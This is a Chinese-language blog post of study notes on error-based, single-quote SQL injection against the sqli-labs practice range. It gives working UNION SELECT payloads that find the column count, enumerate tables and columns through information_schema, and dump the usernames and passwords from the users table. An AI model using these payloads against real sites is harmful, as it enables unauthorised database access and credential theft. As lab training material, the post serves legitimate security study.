渗透学习笔记(三)--SQL注入学习(一)

使用靶场为sqli靶场
例题为GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sql注入常见攻击思路

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

常见流程

  1. 首先判断sql语句闭合方式

常见的闭合方式:
id = 'input_id'
id = ('input_id')
id = "input_id"
id = ("input_id")

判断方法:
使用'或者"来进行判断,如果输入?id=1'报错,那就是单引号闭合,"类似。
在这里插入图片描述
如上图,'报错。

  1. 判断回显列数
    使用order by子句判断返回的列数。
    ?id=1' order by 5 %23

%23#的url编码,用来注释掉另一个'
order by 5发现报错
继续尝试
发现order by 3正常
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

  1. 判断返回格式:

id=-1' union select 1,2,3 %23

发现2和3被回显。
在这里插入图片描述

知道返回的列名之后,就可以执行后继的操作和查询各种数据了。

例如user()查询用户名,detabase()查询当前的数据库名,version()查询数据库版本

id=-1' union select 1,database(),version() %23

在这里插入图片描述

  1. 查询出当前数据库所有的表名

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

其中group_concat()是用来把数据在一行中打印出来。
information_schema是mysql特有的库,存储各种数据库的信息
在这里插入图片描述

  1. 注入出某一个表中的全部列名
    id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') %23

在这里插入图片描述

  1. 获得字段内容

id=-1' union select 1,2,(select group_concat(Password) from users) %23
在这里插入图片描述
id=-1' union select 1,2,(select group_concat(username) from users) %23
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Chiaki_0ff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值